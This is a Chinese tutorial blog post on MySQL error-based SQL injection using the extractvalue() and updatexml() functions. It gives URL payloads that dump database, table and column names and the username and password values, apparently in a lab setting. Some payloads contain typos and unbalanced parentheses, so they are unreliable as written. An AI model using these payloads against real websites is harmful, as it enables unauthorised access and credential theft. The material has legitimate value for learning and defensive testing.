报错注入(extractvalue,updatexml)

目录

一.Extractvalue报错注入:

二.Updatexml报错注入:


一.Extractvalue报错注入:

1.extractvalue(doc,'/book/author/surname')函数:extractvalue函数包含两个参数。

第一个参数doc  XML文档对象名称,第二个参数'____'  路径。

2.extractvalue报错注入的实现方法:

extractvalue函数的作用是查询一个文件里的内容。

如果我们把第二个参数的路径拼写错误,它会查不到内容但不会报错。

select extractvalue(doc,'/book/titell')from xml;

但是我们将第二个参数的斜杠替换为另外的符号extractvalue(doc,'~book/author/surname')

selct extractvalue(doc,'~book/author/surname') from xml;

则会提示报错信息。 这时候我们在第二个参数的位置加入SQL语句,则会返回我们想要的信息。

例如:concat(1,2)的作用是将1,2两个位置的数据拼接起来,0x7e是’~‘的ascll码

select extractvalue(doc,concat(0x7e,(select database()))) from xml;

 以上报错注入就可看到这个数据库的名称为security。

查询数据库里的表名: 

?id=100'and 1=extractvalue(0x7e,(select group concat(table_name)from 

information_schema.tables where table_schema=database())))--+

查询数据库里的列名'username'和'password':

?id=100'and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from 

information_schema.columns where table_schema=database()and table_name='users')))--+

 3.解决extractvalue()函数只能回显32个字符的方法:

使用substring()函数。

?id=100'and 1=extrctvalue(1,concat(0x7e,select substring
(group_concat(username,'~',password),25,30)from users)))--+

其中25,30表示从第25个字符开始再往后显示30个字符。

二.Updatexml报错注入:

1.updatexml(XLM_document,XPath_string,new_value)函数包含三个参数:

第一个参数:XLM_document是string格式,为XML文档对象名称

第二个参数:XPath_string是路径,XPath格式的字符串

第三个参数:new_value,string格式,替换查找到的符合条件的数据

2.updatexml报错原理:

正常句式:作用为更新xml文档里的内容

select updatexml(doc,'/book/auther/surname','1') from xml;

 同extractvalue(),输入错误的第二个参数,即更改路径符号

select updatexml(doc,'~book/auther/surname','1') from xml;

 使用updatexml报错注入查询数据库名称:

?id=1"and 1=updatexml(1,concat('~',(select database())),3)--+

 使用updatexml报错注入查询数据库表名名称:

?id=1'and 1=updataxml(1,concat(0x7e,(select group_concat(table_name)from 

informathion_schema.tables where table_schema=database())),3)--+

 使用updatexml报错注入查询数据库列名称:

?id=1'and 1=updataxml(1,concat(0x7e,(select group_concat(column_name)from 

informathion_schema.columns where table_schema=database() and table_name='users')),3)--+

使用updatexml报错注入查询数据库列名称:

?id=1'and 1=updatexml(1,concat(0x7e,(select group_concat(username,password) from user)),3)--+
  • 6
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值